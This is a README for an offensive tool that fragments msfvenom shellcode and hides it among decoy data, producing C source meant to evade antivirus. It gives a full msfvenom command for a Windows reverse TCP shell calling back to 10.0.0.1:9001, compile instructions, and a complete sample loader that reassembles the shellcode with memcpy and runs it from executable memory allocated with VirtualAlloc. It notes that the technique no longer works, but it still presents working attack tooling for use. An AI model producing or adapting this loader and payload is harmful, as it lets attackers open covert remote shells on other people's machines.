/Shellcode-Obfuscator

Python tool for shellcode evasion by fragmenting and filling it with customisable decoy data, generating obfuscated C source code to be compiled.

Primary LanguagePython

This technique no longer works, it was useful a couple of years ago but AVs have gotten better since.

Takes a given shellcode file (generated using msfvenom, for example), shuffle and randomise the shellcode, then generate a C source file to be compiled.

  • Obfuscation Through Memory Manipulation: By using memcpy to dynamically assemble the shellcode in memory, effectively hiding the malicious code from static analysis tools.
  • Dynamic Reassembly at Runtime: The shellcode is only assembled and becomes recognizable as such during runtime, which helps in evading detection mechanisms that scan executable files before they are run.
  • Flexibility: Can be applied to various types of shellcode as long as they are compatible with Windows.

Usage

Using a shellcode file, using msfvenom, for example:

msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.1 LPORT=9001 -e x86/shikata_ga_nai -i 8 -f c > shellcode.c

Use the script to obfuscate the shellcode:

./shellcode_obfuscator.py -s shellcode.c -dm 30 -c 5 -df mr.bean_wikipedia.html -db 60 -min 3 -max 5 -fm 10 
Shellcode size: 540 bytes
Decoy size: 585859 bytes
Fragment count: 4278
File size: 1433798 bytes
File saved to shell.c

Compile:

i686-w64-mingw32-gcc shell.c -o shell.exe

Profit?

Options

-s / --shellcode-file: Specifies the input file containing the shellcode. This file should contain the shellcode that will be obfuscated by the script. The shellcode is expected to be in a raw binary or hexadecimal format.

-o / --output: Designates the output file name for the generated C source code. If not specified, the script defaults to creating a file named shell.c. This file will contain the obfuscated shellcode.

-c / --chunks: Sets the number of chunks into which the shellcode will be split. The script divides the shellcode into this specified number of parts for obfuscation. A lower number results in fewer, larger chunks, while a higher number creates more, smaller chunks.

-df / --decoy-file: Specifies an optional decoy file. The content of this file is used to create additional obfuscated fragments within the generated C source. If not provided, the script will only use randomly generated decoy data.

-db / --decoy-bias: Determines the likelihood (in percent) that fragments from the decoy file will be used in the generated C source. A higher value increases the probability of using decoy file content in the obfuscation process.

-dm / --decoy-multiplier: Defines the ratio of decoy fragments to real shellcode fragments. For example, a value of 4 means there will be four times as many decoy fragments as real shellcode fragments. This enhances the obfuscation by adding more non-functional code fragments.

-min / --min-frag-size: Sets the minimum size for each fragment in bytes. This parameter controls the smallest allowable size for both shellcode and decoy fragments. Smaller fragment sizes can lead to more complex obfuscation.

-max / --max-frag-size: Specifies the maximum size for each fragment in bytes. It sets the upper limit for the size of the fragments. Larger fragments can reduce complexity but may be less obfuscated.

-fm / --fragment_multiplier: Affects the length of decoy fragments. This multiplier is applied to the length of decoy fragments, allowing for variability in their size compared to real shellcode fragments. A higher value results in longer decoy fragments.

Sample output:

This is kept short for readability, it can easily generate thousands of lines with the options adjusted.

./shellcode_obfuscator.py -s shellcode.c -dm 1 -c 1 -df mr.bean_wikipedia.html -min 50 -max 50 -fm 1
#include <stdio.h>
#include <string.h>
#include <windows.h>

int main(int argc, char* argv[]) {
    unsigned char main[] = "\x14\x25\x2c\xde\x7d\x44\xfa\x91\x75\x8a\x89\xf3\x87\x40\x7c\x23\xf7\x27\x35\x58\xe5\xac\xd0\x37\xb2\xf7\xa0\x4d\x87\x34\xeb\x53\xed\xd7\x8b\x63\x80\xd1\xc6\x90\x5f\x28\xb6\xd2\xd5\xc4\x81\xa2\x41\xa3\x58\xb0\x08\x04\x2c\xc8\x72\x45\x24\x77\xf7\x90\xfa\x4e\xf3\x30\x24\x2f\xc9\x07\x74\x4a\x88\x5b\x7e\x0e\x07\x49\x08\xed\xaf\x60\x0f\x1b\xa7\xff\x5c\x2d\x9d\xcb\x72\x5e\x4e\x90\x09\x6c\x8b\x69\x45\x9d\x11\xe6\x77\xd0\x24\x0c\xf7\x85\x6b\xa4\x54\xc3\xcc\xcd\xfa\xb6\x6f\xac\xde\x49\x58\x9c\xe2\x93\xeb\x39\xc2\xc3\xf4\x8c\xab\xa9\x76\x4a\xb9\xbc\x7f\x99\x23\xae\x9e\xc3\x23\x86\xe2\xf5\x62\xbf\xd9\xe4\x56\x26\xa5\xb7\x12\x95\x19\x0d\x82\xb7\x81\x99\x0f\xa3\x80\x4b\x3d\x3c\x41\x2c\xca\xcc\xc0\x37\xa2\xb2\x05\x39\x70\x5f\x6a\xec\xd6\x28\x74\xfb\x2b\xc7\x03\x10\xa7\x66\x08\xcc\xa6\x51\x77\x4d\x5d\x4c\x18\x71\xda\x18\xaf\x1d\x9a\x17\x46\xc4\x88\x1d\xc3\x02\xbf\x79\x47\xb2\xa8\xbc\x6f\xa7\x75\x9c\xc9\x1d\x56\x37\xe4\x2f\xe1\xc3\xca\x96\xbf\x2c\x7f\xc7\x32\x2f\x49\xb1\xe2\x15\x07\x62\xae\x9a\x5d\x50\x55\xdd\x7a\xb0\x05\x84\xdb\x0d\x90\x5e\xc5\x9a\xef\xae\xcd\x19\x41\x15\x98\xb7\xc8\x7c\x9e\x72\xb7\x8f\xce\x3b\x9c\xf6\x52\x77\x97\xe5\xe4\x58\x94\xd1\x86\x71\x85\x64\x4f\x0b\xf9\x26\xe1\xb7\x29\x5a\xa7\x4e\x34\x74\x31\x87\x4f\x2e\xfc\x7b\x96\xe4\xfa\xd3\xed\xb6\xfb\x98\xd3\x73\x17\x9f\xe2\x95\xcf\xcd\xbe\x24\x56\x9b\x3b\x3c\x79\x12\x51\x3f\x78\x6a\x40\x55\x3c\x2b\x7b\xc8\x0f\x07\x25\x35\x03\xb4\xc2\x6b\xe4\x0f\xc7\x6b\x08\xeb\x39\xd2\x5a\x09\x47\x73\x11\xd6\x2e\x02\x2a\x21\xbc\x88\x06\x26\xde\xd0\xfd\x61\x82\x35\x81\xe7\x0e\x1a\xc6\xd4\x74\x13\x07\x06\xaa\xa1\x64\x78\x82\x1b\x25\xe9\xdd\xbe\xe4\xf3\xe0\x88\xa6\x33\x24\xd9\xaa\x27\x61\x05\x45\xda\xab\x52\x98\x14\xcb\x52\x5a\xfd\x33\x8e\xd3\xff\x51\xc6\x41\x86\xbc\x0e\x9c\xe0\xd7\x00\xbc\x04\x9e\x83\xe4\x13\x6d\xac\x0f\x52\xe9\x85\x8d\xde\x7b\x01\x14\xb8\x68\x2b\x70\xa0\xc7\x77\xbf\x5f\x0a\xa4\x2a\xc0\xd5\xe6\x1f\x15\xbb\x18\x7e\xf1\xef\xda\x3b\x57\x0d\xcf\xcb\xb1\xb8\x78\x38\x96\x84\x71\xb5\x77\x77\xb5\x1b\xb0\x9d\x56\x06\x89\xf7\xde\x05\xba\xd5\xc0\x39\x01\x61\xec\x0d\x83\x6f\xf3\x39\x51\xc3\x25\x8e\x44\xa0\xfe\xb9\xb8\x14\x50\xc4\x6b\x6a\xf1\x41\xb8\x84\x03\xf0\x9c\x1f\x61\x18\x2d\x17\xe2";



    unsigned char block0[540] = "\xd3\xcf\xaf\x59\xff\x50\x39\x6a\xa6\x15\xb4\x7b\x40\x2b\x98\x00\x44\xd1\x81\xf0\x79\xb1\xb9\x5e\x82\x4d\xd7\x0a\x93\xa2\x15\xa3\x2f\x89\x2b\x9d\x99\xe3\xed\x04\x52\xbe\x08\xb6\x6c\x4f\xad\x50\xf8\xbf\xee\x0a\xe8\xe4\x0e\x8d\xc2\x93\xad\x21\xa4\x89\x05\x09\x29\x95\xd7\x0b\x54\xa5\xf8\x6c\x9d\x30\x7d\xd6\x0b\x06\x92\xdc\xe8\x3d\x35\x1d\xa9\xd3\x26\x41\x08\xd1\xd5\xe7\x24\xcf\xfe\x22\xfe\x4b\x1e\x06\x2b\xc1\xda\x81\x67\x9f\x32\x94\x4d\x19\x0a\x94\xb0\x60\x4d\xe2\x3d\x7c\xb2\xa5\x54\x46\x6c\x41\x51\xca\x6f\x84\x25\x36\x9b\x40\x13\x4c\xa7\x6c\x7d\x6f\xab\x42\x3a\x6a\xa0\x3f\x4e\xc9\x35\xa3\x05\x27\x8e\x1f\x26\xc7\x54\xf9\xfb\x07\x0a\xc3\xdb\xda\x0f\x9f\x5c\x4c\xf9\xa3\x08\x8e\x1c\xf6\x6d\xc7\x6c\xb4\x19\xf2\xc7\x6e\x6a\x13\x97\x68\xf3\xae\xad\xa2\x2c\x37\x14\xc7\x4e\x77\xb2\xed\xb6\x3f\x99\xa8\xfa\x58\x21\x10\x03\x17\xb5\xb4\x09\x9b\x30\xad\x88\x5d\x51\x06\x11\x84\x1c\x58\x6b\xa1\x08\x5f\xde\xb9\x10\xbf\x97\x1f\x30\x99\x31\x3f\x60\x04\xd6\xa1\x0f\xf0\x98\x15\x0f\x69\xa7\x3a\xa5\xec\x08\xa4\x72\xd1\x8b\x3b\xe3\x4c\x54\xa5\xa4\x24\xb4\xbb\x16\x26\x3d\xec\x4e\xbf\xaf\xaa\xf4\x81\xd0\x7e\x04\x8a\xf1\x16\xc4\x93\x52\x91\x7b\xf9\x9a\xeb\x54\xec\x2b\x91\x07\x11\xf1\x00\x35\x4e\xa6\x1b\xbc\xee\x68\xb9\xee\x35\x9e\xf0\x7d\x5a\x24\x3e\xbe\xad\x60\x7d\xa1\x61\xfc\x14\x63\xd7\x69\x31\xe3\xbb\x9a\xbb\x52\x58\xee\x1f\xc7\x67\xb9\x72\xf0\xc5\x6a\xb7\x61\x25\xc1\x77\xc6\x49\x28\xd8\x5f\xad\xa7\xa4\xe2\xf5\x70\xda\xa1\x45\x09\x2f\xd0\x31\x22\x31\x7e\x97\x66\xc4\x15\x66\xd8\x73\x46\x55\xd0\xe2\x65\x3c\x00\x0c\xcb\x04\x47\xa5\x06\xb1\xe2\xa6\xdd\x17\xc7\x99\xb5\x5d\xac\x6a\x8f\xa5\x93\xd2\xc7\x2e\x34\x3b\x91\xe1\x3b\x09\xe8\xbb\x6a\x2e\xd5\x23\xa7\x4d\xa0\x91\xaa\x86\xe6\x40\xf8\xab\xa4\x40\x7b\x69\x37\xc4\x47\xf3\xfd\xb8\x34\x93\xa0\x1e\x52\xdc\x91\x3d\xc0\x77\x9e\x8f\x4e\xf8\xa6\xdd\x84\xee\xff\x96\xcc\xa5\xfc\x34\xca\x05\x71\x43\xbd\x35\xde\xbd\x52\xa5\xee\x71\x68\xa6\x2b\x29\x8a\x20\x2c\x6e\xf1\x9e\x24\x47\x86\xca\x91\xd8\x41\xc8\x09\x8c\x72\x2f\xad\x78\xf5\x5c\x7b\xa9\x9b\x9d\x9d\x39\xce\x97\x6e\x04\x97\x16\x54\xfd\xcf\x42\x85\xa6\x7d\x03\x04\x5e\xc4\xc0\x0f\xac\x89\xe1\x82\x50\xf4\xf6\xc9\xa9\x6c\x18\xbe\x33\x66\x29\x85\xe0\x48\xea\x5a\x7d";
    char _0a[] = "v></div>\n\t\t\t\t\t<div id=\"catlinks\" class=\"catlinks\" data-mw=\"interface\"><div id=\"mw-normal-catlinks\" class=\"mw-normal-catlinks\"><a href=\"/wiki/Help:Category\" title=\"Help:Category\">Categories</a>: <ul><li><a href=\"/wiki/Category:1990_British_television_series_debuts\" title=\"Category:1990 British television series debuts\">1990 British television series debuts</a></li><li><a href=\"/wiki/Category:1990s_British_sitcoms\" title=\"Category:1990s British sitcoms\">1990s British sitcoms</a></li><li><a href=\"/";
    unsigned char _0b[] = "\xfb\x52\x24\xfe\x66\x63\x8d\x38\xbb\x5b\x13\xd8\x60\xea\xf0\x62\xba\x99\x74\x2c\x85\x02\x8f\xb2\x43\xd2\x97\x3c\xcc\x93\xc7\x2f\xd0\xff\xa8\x5b\x1d\x73\x23\xe4\xc1\x47\xd5\x3b\xb2\x5e\x87\x68\x0e\x61";
    unsigned char _0c[] = "\x36\xf7\x4f\x18\x4a\x62\x2e\xc1\x72\x61\x18\x5b\xe0\xf4\x8b\xb2\x31\xd9\x1a\x99\x2b\x7b\xc5\xe1\x4d\x23\xce\x28\x89\xb7\xfe\x18\x1d\x51\x56\x13\x1d\x87\x3f\xa2\x4c\xd3\xe8\x0a\x2b\xd0\x28\x6f\x4e\x76";
    unsigned char _0d[] = "\x9f\xe2\x79\x8e\xa6\xb1\x27\x2f\xa5\x00\x5b\xe0\xbd\xcc\x88\x88\xb5\x95\xde\x31\xdb\x92\x03\xd3\x3a\x67\x1b\xf0\xfd\x83\xae\x4d\xc7\x83\x0f\xaf\x89\x2c\x75\x03\x9e\xb8\x7d\x0e\x4d\x8b\x30\x30\xea\xc3";
    unsigned char _0e[] = "\x0c\xe8\x9e\xcf\xf6\xff\xb8\x77\x27\x00\x6d\x05\x03\x0e\x95\xee\xea\x69\x71\xe3\xdb\x12\x30\x5a\xde\xbd\x31\x4d\x35\xce\xcd\xd0\x62\x89\xee\x24\x25\xad\x07\x6e\x6d\x59\x70\xaf\xd8\x86\x69\xae\x40\x64";
    unsigned char _0f[] = "\xdd\x5d\x42\x57\x53\xcd\x8e\xc6\xa5\xe1\x18\x74\xf3\xbd\x99\x16\xac\x14\x7e\xb0\x9a\x06\x9a\x72\x1f\x86\x24\x59\x9d\x03\x37\x12\x34\x71\x2a\x98\xef\xa9\x11\x8d\x71\xf1\xd2\xff\x8f\x15\xf3\x2c\x28\x62";
    unsigned char _0g[] = "\x30\xf0\x25\xa9\x84\x4c\x28\x33\x0b\x2d\x48\xc9\x3c\x15\x70\x9e\xf8\x4a\x37\x07\xd8\x83\x1c\x1b\xfc\x16\xda\x92\xbd\x43\x1d\xda\x46\xb2\x35\x18\x8c\x00\x23\xcf\xf8\xbd\xd6\xe6\xbd\xc0\xe0\xd6\x3f\x5b";
    unsigned char _0h[] = "\x54\x9d\x25\xcd\xb2\x8c\x66\x0b\x08\x0e\x0f\x6f\xe1\xed\x69\x6c\xf1\x50\x79\x27\x04\xdb\xee\xcb\xe0\xb7\x92\xf0\xdb\x62\xf0\x42\x2f\x2b\xf5\x1f\x8d\xf9\xff\x22\x6d\x96\x71\x54\x4a\x7b\x34\xed\x64\x66";
    unsigned char _0i[] = "\x9d\x28\x42\xf5\xb3\x98\x97\xa3\xf1\x34\x33\x92\xc2\x25\x16\x91\x29\xec\x70\xb6\x48\xf9\xa2\xdb\x12\x38\x23\x0b\xdb\x5a\x9f\x68\x03\x8d\x98\xf8\x06\x0b\xdf\xd7\xce\x8e\x5d\xa5\xce\x6b\xa4\x47\x16\x6c";
    unsigned char _0j[] = "\x38\xa9\xb9\xf8\xb1\x82\x3e\xaf\x3f\x63\xf5\x58\xc9\x20\xc8\xc9\x6a\x5c\x3e\xff\xb3\x01\xac\x14\xcc\x4c\xb9\xbc\xa2\x3c\x10\xaf\xb9\x2e\x8e\xf2\x16\xc2\x38\xe7\xd7\x78\x65\x1d\x7e\x43\x72\x5b\x8a\x3a";
    unsigned char _0k[] = "\xf3\x54\x9f\x53\xfc\xcf\x48\x65\x38\xda\xab\xfb\xfb\x8c\x37\xc5\xa4\xc4\x7a\xa2\xd7\x94\xf8\x2e\x95\x0d\xb4\x2c\x55\x11\xf5\x8a\x26\x73\x46\x65\x73\xb5\x03\x65\xa8\xb8\x3e\x50\x96\x9a\x60\x8a\x73\x73";
    unsigned char _0l[] = "\xd9\xcb\xba\x87\x8c\x67\x44\xd9\x74\x24\xf4\x5d\x33\xc9\xb1\x81\x83\xc5\x04\x31\x55\x14\x03\x55\x93\x6e\x92\xfb\x7d\xb6\xef\xfe\x5a\x88\xc9\x8b\x78\xe3\xb2\x58\x49\xba\x39\xae\x31\xa9\x3e\x38\x3d\xd2";
    char _0m[] = "tom:none;text-decoration:none;cursor:inherit}.mw-parser-output .navbar-ct-full{font-size:114%;margin:0 7em}.mw-parser-output .navbar-ct-mini{font-size:114%;margin:0 4em}</style><div class=\"navbar plainlinks hlist navbar-mini\"><ul><li class=\"nv-view\"><a href=\"/wiki/Template:Mr._Bean\" title=\"Template:Mr. Bean\"><abbr title=\"View this template\" style=\";;background:none transparent;border:none;box-shadow:none;padding:0;\">v</abbr></a></li><li class=\"nv-talk\"><a href=\"/wiki/Template_talk:Mr._Bean\" titl";
    char _0n[] = "tent:\" ]\"}.mw-parser-output .navbar li{word-spacing:-0.125em}.mw-parser-output .navbar a>span,.mw-parser-output .navbar a>abbr{text-decoration:inherit}.mw-parser-output .navbar-mini abbr{font-variant:small-caps;border-bottom:none;text-decoration:none;cursor:inherit}.mw-parser-output .navbar-ct-full{font-size:114%;margin:0 7em}.mw-parser-output .navbar-ct-mini{font-size:114%;margin:0 4em}</style><div class=\"navbar plainlinks hlist navbar-mini\"><ul><li class=\"nv-view\"><a href=\"/wiki/Template:Mr._B";
    unsigned char _0o[] = "\x2a\x2e\x11\x9f\xd6\x2b\xae\x83\x60\x47\x03\x5c\x3d\xae\x5b\x55\x16\xc1\xea\x0a\xf8\x2e\x58\x1f\x9b\x8d\xf1\x8b\x52\x1d\x47\x21\x77\x65\x43\xf2\x13\x1c\x25\x94\x2d\x3e\xba\x25\x56\xd8\x4d\xe3\xb9\x5e";
    unsigned char _0p[] = "\xe6\x47\x0c\xd3\x7b\xd0\xf1\x91\x86\x08\xc9\x2a\x5c\x05\x8f\xef\xe3\x9b\x70\x5a\xf3\x07\xc9\xa4\xa6\x53\x64\xcc\x2a\x9f\xe5\xe2\x8e\x5d\xac\x61\xde\x01\xa8\x9a\x87\xa6\x69\x9e\x54\xe9\xd4\x31\xbf\xd9";
    unsigned char _0q[] = "\xb9\xe9\x34\x52\xdf\xca\xdd\xdd\xf9\x2a\xb3\x9d\x8c\x36\x32\x03\xe3\xa6\x15\x1a\x02\x13\xbf\x2d\x74\x31\x8a\x84\x00\x44\x14\x8d\x3b\x23\x44\xca\xab\xfe\xb0\x64\x74\xd6\x7b\xb7\xed\x91\xd1\x3a\xb7\x59";
    char _0r[] = "88\"></span></span>\n</li>\n<li id=\"cite_note-57\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-57\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://www.youtube.com/mrbean\">\"Kanaal van MrBean\"</a>. YouTube. 1 January 1990. <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20100804200604/http://www.youtube.";
    unsigned char _0s[] = "\x5e\x5e\xfe\xf2\x65\xad\x00\xff\x27\xf7\xe2\xa2\x02\xc9\x99\x83\x8a\x5a\xeb\x7f\x17\x88\x09\x36\xe1\x2f\x83\xe8\x1a\xe0\x8c\x91\x6e\xe8\xe8\x73\x0d\x59\x0a\xd9\xaa\x06\x3b\x76\x3c\x47\x82\xe2\x0d\x4d";
    unsigned char _0t[] = "\x5c\x4c\x33\x7a\x3e\xec\xa1\xcd\xff\xb6\xc6\x7f\x7c\xf3\xda\x43\x98\xe4\x28\x18\x2b\x4e\xa0\xae\x22\x1e\xf2\x5c\x2c\xd2\x1b\xd1\x86\xaa\x71\xec\x59\x75\xb5\xce\x6c\x47\x77\x4f\x94\xde\xf9\x03\x8d\xb3";
    unsigned char _0u[] = "\xed\x0b\x35\x44\x92\x49\xff\x2c\x7c\xcd\x9c\x97\xee\x4d\x61\xf2\xf6\x01\x95\xdc\x06\xd5\xc9\x78\x9b\xc9\x1f\x5f\xd3\x43\x04\xde\x26\x26\xc1\x1a\xaa\x47\xf7\xdf";
    unsigned char _0v[] = "\x99\x84\xe3\x65\x9d\x94\x56\xfd\xd5\x44\xbb\xb5\x60\x00\xbc\x16\x22\xba\x47\x33\xec\xe2\xc9\x55\x16\xbe\x9f\xf6\x93\x32\x2f\xf9\x50\xc7\x43\xe5\x11\xee\xbe\x79\xea\x65\xd5\x25\x87\xe3\x26\x50\xe4\x9d";
    memcpy(block0 + 450, _0d, sizeof(_0d) - 1);
    memcpy(block0 + 400, _0f, sizeof(_0f) - 1);
    memcpy(block0 + 200, _0g, sizeof(_0g) - 1);
    memcpy(block0 + 350, _0i, sizeof(_0i) - 1);
    memcpy(block0 + 50, _0j, sizeof(_0j) - 1);
    memcpy(block0 + 0, _0l, sizeof(_0l) - 1);
    memcpy(block0 + 150, _0p, sizeof(_0p) - 1);
    memcpy(block0 + 250, _0q, sizeof(_0q) - 1);
    memcpy(block0 + 300, _0s, sizeof(_0s) - 1);
    memcpy(block0 + 100, _0t, sizeof(_0t) - 1);
    memcpy(block0 + 500, _0u, sizeof(_0u) - 1);

    void* exec = VirtualAlloc(0, sizeof main, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(main + 0, block0, sizeof(block0));


    memcpy(exec, main, sizeof(main));
    ((void(*)())exec)();

    return 0;
}